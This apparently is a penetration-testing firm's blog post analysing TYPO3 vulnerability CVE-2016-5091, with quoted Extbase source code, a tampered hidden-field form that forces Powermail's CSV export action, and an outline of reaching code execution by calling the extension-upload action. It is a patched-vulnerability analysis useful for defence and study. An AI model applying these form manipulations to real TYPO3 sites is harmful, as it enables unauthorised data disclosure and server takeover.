WER IST SIBERAS?

Die siberas GmbH ein auf Sicherheitsanalysen und Penetrationstests spezialisiertes Beratungsunternehmen, welches Sie herstellerunabhängig und kompetent im Bereich IT-Sicherheit berät.

KONTAKT

TYPO3-CORE-SA-2016-013 analysis

TYPO3 is an enterprise Open Source CMS based on PHP. While it might not be as well-known as competitors like Joomla or Wordpress, it has quite a high market share here in Germany. During a recent penetration test I had to deal with an outdated Typo3 installation that was vulnerable to CVE-2016-5091. As details for this vulnerability were not publicly available, I thought I share my analysis.

Official advisory

On May 24, 2016, the TYPO3 security team released a security advisory for TYPO3 4.3.0-8.1.0. The fixed vulnerability was rated “critical” as it may allow an unauthenticated attacker to execute arbitrary code on the TYPO3 installation. The vulnerability (or variations of it) was discovered by Stefan Horlacher (Arcus Security GmbH), Alex Kellner and Oliver Hader.

The TYPO3 Security Advisory describes the vulnerability as follow:

Extbase request handling fails to implement a proper access check for requested controller/ action combinations, which makes it possible for an attacker to execute arbitrary Extbase actions by crafting a special request. To successfully exploit this vulnerability, an attacker must have access to at least one Extbase plugin or module action in a TYPO3 installation. The missing access check inevitably leads to information disclosure or remote code execution, depending on the action that an attacker is able to execute.”

Notes:
TYPO3 installations with at least one publicly available Extbase action, are exploitable without any further authentication.

TYPO3 installations without publicly available Extbase actions, are still exploitable for authenticated backend users with access to a backend module, which is based on Extbase.

Test environment

TYPO3 is Open Source, you can find all versions on their Sourceforge page. I recommend to install at least TYPO3 7.6.3 as this version is required for the “Introduction Package” which is available in the online repository. Setting up an entire TYPO3 installation from scratch can be painful, especially if you never worked with this CMS before. Therefore, using the Introduction Package is highly recommended.

TYPO3 Introduction Package

Developer mode

The TYPO3 default settings disable detailed error messages. If full error messages/stack traces should be displayed, you must switch to developer mode. Developer mode is enabled through the environment variable “TYPO3_CONTEXT”. You can set this variable in the Apache configuration.

SetEnv TYPO3_CONTEXT Development

Extbase referrer fundamentals

By reading the public advisory and taking a look at the fix package, it is clear that the Extbase module actions are the root cause for the vulnerability. The Extbase framework adds several hidden fields to a generated HTML form. The update basically changes the way how these fields are generated and secured.

Hint:
The Introduction Package contains a page (/index.php?id=3) with a vulnerable Extbase form.

Here is an example HTML form that was generated by an Extbase module (before the patch):

<form enctype="multipart/form-data" method="post" name="id-1" id="field-1" action="/index.php?id=3&amp;tx_form_form%5Baction%5D=confirmation&amp;cHash=66463d2df80da371ad98123466db9afa">
<div>
<input type="hidden" name="tx_form_form[__referrer][@extension]" value="Form" />
<input type="hidden" name="tx_form_form[__referrer][@vendor]" value="TYPO3\CMS" />
<input type="hidden" name="tx_form_form[__referrer][@controller]" value="Frontend" />
<input type="hidden" name="tx_form_form[__referrer][@action]" value="show" />
<input type="hidden" name="tx_form_form[__referrer][arguments]" value="YToxOntzOjU6Im1vZGVsIjthOjA6e3192f73115ba1c9e6b1959ec8340c349daae4d185ec" />
<input type="hidden" name="tx_form_form[__trustedProperties]" value="a:1:{s:7:&quot;tx_form&quot;;a:4:{s:4:&quot;name&quot;;i:1;s:5:&quot;email&quot;;i:1;s:7:&quot;enquiry&quot;;i:1;s:6:&quot;submit&quot;;i:1;}}ee6fc57fa32b025df59b51e753d225b88c360aee" />
</div>

In case of an error Extbase uses the __referrer fields to redirect the user to its originating request. The responsible code can be found in the errorAction method of the ActionController class (ActionController.php).

The description is quite self-explaining:

/**
* A special action which is called if the originally intended action could
* not be called, for example if the arguments were not valid.
*
* The default implementation sets a flash message, request errors and forwards back
* to the originating action. This is suitable for most actions dealing with form input.
*
* We clear the page cache by default on an error as well, as we need to make sure the
* data is re-evaluated when the user changes something.
*
* @return string
* @api
*/
protected function errorAction()
{
  $this->clearCacheOnError();
  $this->addErrorFlashMessage();
  $this->forwardToReferringRequest();

  return $this->getFlattenedValidationErrorMessage();
}

Here is the code of the forwardToReferringRequest method:

/**
* If information on the request before the current request was sent, this method forwards back
* to the originating request. This effectively ends processing of the current request, so do 
* not call this method before you have finished the necessary business logic!
*
* @return void
* @throws StopActionException
*/

protected function forwardToReferringRequest()
{
  $referringRequest = $this->request->getReferringRequest();
  if ($referringRequest !== null) {
    $originalRequest = clone $this->request;
    $this->request->setOriginalRequest($originalRequest);
    $this->request->setOriginalRequestMappingResults($this->arguments->getValidationResults());
    $this->forward(
        $referringRequest->getControllerActionName(),
        $referringRequest->getControllerName(),
        $referringRequest->getControllerExtensionName(),
        $referringRequest->getArguments()
    );
  }
}

The referringRequest object is created by getReferringRequest(). This function uses the values from the hidden __referrer fields to populate the object. Note that while it checks the MAC value from the passed function arguments, the __referrer fields are used without any additional checks.

public function getReferringRequest()
{
  if (isset($this->internalArguments['__referrer']) && is_array($this->internalArguments['__referrer'])) {
      $referrerArray = $this->internalArguments['__referrer'];
      $referringRequest = new \TYPO3\CMS\Extbase\Mvc\Web\Request();
      $arguments = array();
      if (isset($referrerArray['arguments'])) {
        $serializedArgumentsWithHmac = $referrerArray['arguments'];
        $serializedArguments = $this->hashService->validateAndStripHmac($serializedArgumentsWithHmac);
        $arguments = unserialize(base64_decode($serializedArguments));
        unset($referrerArray['arguments']);
      }
      $referringRequest->setArguments(\TYPO3\CMS\Extbase\Utility\ArrayUtility::arrayMergeRecursiveOverrule($arguments, $referrerArray));
      return $referringRequest;
  }
  return null;
}

To make a long story short:
If we are able to cause an error in the form processing, the information in the (attacker controlled) __referrer fields are used to call a server side action method. Creating such a condition is easy, for example by providing no value for a required field.

TYPO3 Error messages from errorAction()

We can verify this by intercepting a HTTP POST request that triggers an server side form validation error. For example, setting [__referrer][@controller] to “siberas” will cause an exception as we can see in developer mode.

Exception: class siberasController was not found

Frontend vs. backend actions

Most Extbase action controllers contain code (actions) for the TYPO3 frontend and administration backend. This vulnerability makes it possible to call TYPO3 backend actions without authentication which can lead to various issues (see below).

Calling restrictions

Unfortunately, it is not possible to call completely arbitrary action-Functions as the following restrictions apply:

We can’t change the vendor
While the POST request contains a [__referrer][@vendor] field, it is not used by TYPO3 to forward the request I’m not sure if this is some sort of protection mechanism or if they just forgot to add the code. Once again, the call to the “forward” method:

$this->forward(
    $referringRequest->getControllerActionName(),
    $referringRequest->getControllerName(),
    $referringRequest->getControllerExtensionName(),
    $referringRequest->getArguments()
);

So if you have an Extbase form from a 3rd party extension, it is not possible to directly invoke action-functions from the TYPO3 core as they have a different vendor. However, you can call actions of other extensions from the same vendor.

Naming restrictions
We are restricted to code that is implemented in a ActionController subclass. In fact we can only call “Action” methods as we must follow the Extbase naming conventions.

We can’t modify arguments
The arguments that are passed to the method call are protected by an HMAC. Therefore, it is not possible to change these values from the original request.

Arguments

The fact that we can’t modify arguments is not as restrictive as it might sound. Take a look at the following code:

<?php

   function no_args() {
     echo "no_args called\n";
   }

   no_args("123", "456");

?>

If you execute this code on the command line, you get the following output:

# php function_test.php 
no_args called

The function is called, even if we provide a wrong number of arguments. Thus you can call action methods that don’t require arguments. In certain cases you might even be able to use functions with arguments as you can see in the remote code execution example below.

Practical examples

As pointed out in the original advisory the possible impact of this vulnerability depends on the methods that can be called by the attacker. Let’s see how this might be abused in a real world example.

Information disclosure (powermail)

Powermail is a mailform extension with a lots of useful features. It was downloaded over 157.000 times from the TYPO3 extension repository. Powermail is mainly used for things like contact forms, hence an Extbase form from this extension can be accessed without authentication.

<form data-validate="html5" enctype="multipart/form-data" name="field" class="form form--uid1  " action="/kontact/?tx_powermail_pi1%5Baction%5D=create&amp;tx_powermail_pi1%5Bcontroller%5D=Form&amp;cHash=d8d2e261affaeb3ed03758c68dc8ab98" method="post">
<div>
<input type="hidden" name="tx_powermail_pi1[__referrer][@extension]" value="Powermail" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@vendor]" value="In2code" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@controller]" value="Form" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@action]" value="form" />
<input type="hidden" name="tx_powermail_pi1[__referrer][arguments]" value="YPowOnt96e72695338f4cb6e79c527c1de15e3ed11ad016" />
<input type="hidden" name="tx_powermail_pi1[__trustedProperties]" value="a:2:{s:5:&quot;field&quot;;a:7:{s:6:&quot;anrede&quot;;i:1;s:4:&quot;name&quot;;i:1;s:5:&quot;firma&quot;;i:1;s:6:&quot;e_mail&quot;;i:1;s:8:&quot;textfeld&quot;;i:1;s:6:&quot;marker&quot;;i:1;s:4:&quot;__hp&quot;;i:1;}s:4:&quot;mail&quot;;a:1:{s:4:&quot;form&quot;;i:1;}}195fb23ae0f553672bf4d00aff1a9dcf87a912a3" />
</div>

The ModulController.php provides various export actions that allow an administrator to download the contact attempts via Excel or CSV. These actions don’t require any arguments:

/**
* Export Action for CSV Files
*
* @return void
*/

public function exportCsvAction()
{
    $this->view->assignMultiple(
        [
            'mails' => $this->mailRepository->findAllInPid($this->id, $this->settings, $this->piVars),
            'fieldUids' => GeneralUtility::trimExplode(
                ',',
                StringUtility::conditionalVariable($this->piVars['export']['fields'], ''),
                true
            )
        ]
    );

    $fileName = StringUtility::conditionalVariable($this->settings['export']['filenameCsv'], 'export.csv');
    header('Content-Type: text/x-csv');
    header('Content-Disposition: attachment; filename="' . $fileName . '"');
    header('Pragma: no-cache');
}

We can exploit this by just changing the hidden fields in the request.

<form data-validate="html5" enctype="multipart/form-data" name="field" class="form form--uid1  " action="/kontact/?tx_powermail_pi1%5Baction%5D=create&amp;tx_powermail_pi1%5Bcontroller%5D=Form&amp;cHash=d8d2e261affaeb3ed03758c68dc8ab98" method="post">
<div>
<input type="hidden" name="tx_powermail_pi1[__referrer][@extension]" value="Powermail" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@vendor]" value="In2code" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@controller]" value="Module" />
<input type="hidden" name="tx_powermail_pi1[__referrer][@action]" value="exportCsv" />
<input type="hidden" name="tx_powermail_pi1[__referrer][arguments]" value="YPowOnt96e72695338f4cb6e79c527c1de15e3ed11ad016" />
<input type="hidden" name="tx_powermail_pi1[__trustedProperties]" value="a:2:{s:5:&quot;field&quot;;a:7:{s:6:&quot;anrede&quot;;i:1;s:4:&quot;name&quot;;i:1;s:5:&quot;firma&quot;;i:1;s:6:&quot;e_mail&quot;;i:1;s:8:&quot;textfeld&quot;;i:1;s:6:&quot;marker&quot;;i:1;s:4:&quot;__hp&quot;;i:1;}s:4:&quot;mail&quot;;a:1:{s:4:&quot;form&quot;;i:1;}}195fb23ae0f553672bf4d00aff1a9dcf87a912a3" />
</div>

Remote code execution (TYPO3 core)

If the [__referrer][@vendor] field is set to “TYPO3/CMS” we are able to call methods from the TYPO3 core which has a large code base. From an attacker point, the most valuable action can be found in “typo3_src/typo3/sysext/extensionmanager/Classes/Controller/UploadExtensionFileController.php”. This action is responsible for uploading/installing a TYPO3 extension.

/**
* Extract an uploaded file and install the matching extension
*
* @param bool $overwrite Overwrite existing extension if TRUE
* @throws \TYPO3\CMS\Extbase\Mvc\Exception\StopActionException
* @return void
*/
public function extractAction($overwrite = false)
{
  if (Bootstrap::usesComposerClassLoading()) {
    throw new ExtensionManagerException(
      'Composer mode is active. You are not allowed to upload any extension file.',
      1444725853814
    );
  }

  $file = $_FILES['tx_extensionmanager_tools_extensionmanagerextensionmanager'];
  $fileName = pathinfo($file['name']['extensionFile'], PATHINFO_BASENAME);

  try {
    // If the file name isn't valid an error will be thrown
    $this->checkFileName($fileName);
    if (!empty($file['tmp_name']['extensionFile'])) {
      $tempFile = GeneralUtility::upload_to_tempfile($file['tmp_name']['extensionFile']);
    } else {
      throw new ExtensionManagerException(
        'Creating temporary file failed. Check your upload_max_filesize and post_max_size limits.',
        1342864339
      );
    }

    $extensionData = $this->extractExtensionFromFile($tempFile, $fileName, $overwrite);
    $emConfiguration = $this->configurationUtility->getCurrentConfiguration('extensionmanager');
    if (!$emConfiguration['automaticInstallation']['value']) {
      $this->addFlashMessage(
        $this->translate('extensionList.uploadFlashMessage.message', array($extensionData['extKey'])),
        $this->translate('extensionList.uploadFlashMessage.title'),
        FlashMessage::OK
      );
    } else {
      if ($this->activateExtension($extensionData['extKey'])) {
        $this->addFlashMessage(
          $this->translate('extensionList.installedFlashMessage.message', array($extensionData['extKey'])),
          '',
          FlashMessage::OK
        );
      } else {
        $this->redirect('unresolvedDependencies', 'List', null, array('extensionKey' => $extensionData['extKey']));
      }
    }
  } catch (\TYPO3\CMS\Extbase\Mvc\Exception\StopActionException $exception) {
    throw $exception;
  } catch (DependencyConfigurationNotFoundException $exception) {
    $this->addFlashMessage($exception->getMessage(), '', FlashMessage::ERROR);
  } catch (\Exception $exception) {
    $this->removeExtensionAndRestoreFromBackup($fileName);
      $this->addFlashMessage($exception->getMessage(), '', FlashMessage::ERROR);
    }
  $this->redirect('index', 'List', null, array(self::TRIGGER_RefreshModuleMenu => true));
}

This method requires an boolean argument, however as we install our own malicious extension, we don’t really need to care if the value is true or false. The action takes the extension from the $_FILES array which is directly populated from our client request.

Vulnerability fix

The Typo3 security update changed several interals, resulting in an additional class file (typo3/sysext/extbase/Classes/Mvc/Web/ReferringRequest.php). Thus it is possible to verify if the patch was installed, just check the existance of that file. This even works if no Extbase form is accessible.

If the patch is installed, extabase forms include a hidden [__referrer][@request] field. This field contains a HMAC for the referrer fields to ensure that they can’t be modified by an attacker.

The HMAC is generated with an encryption key that is stored in “/typo3con/LocalConfiguration.php”. In consequence, a file disclosure vulnerability in the TYPO3 backend could be escalated to RCE. An attacker that has access to this file (or the key) could manipulate an existing extbase form and install a package by calling extractAction. This happened before and might happen again.

Cheers

Hans-Martin

pentest 2 web-security 1 cve-2016-5091 1 typo3 1 typo3-core-sa-2016-013 1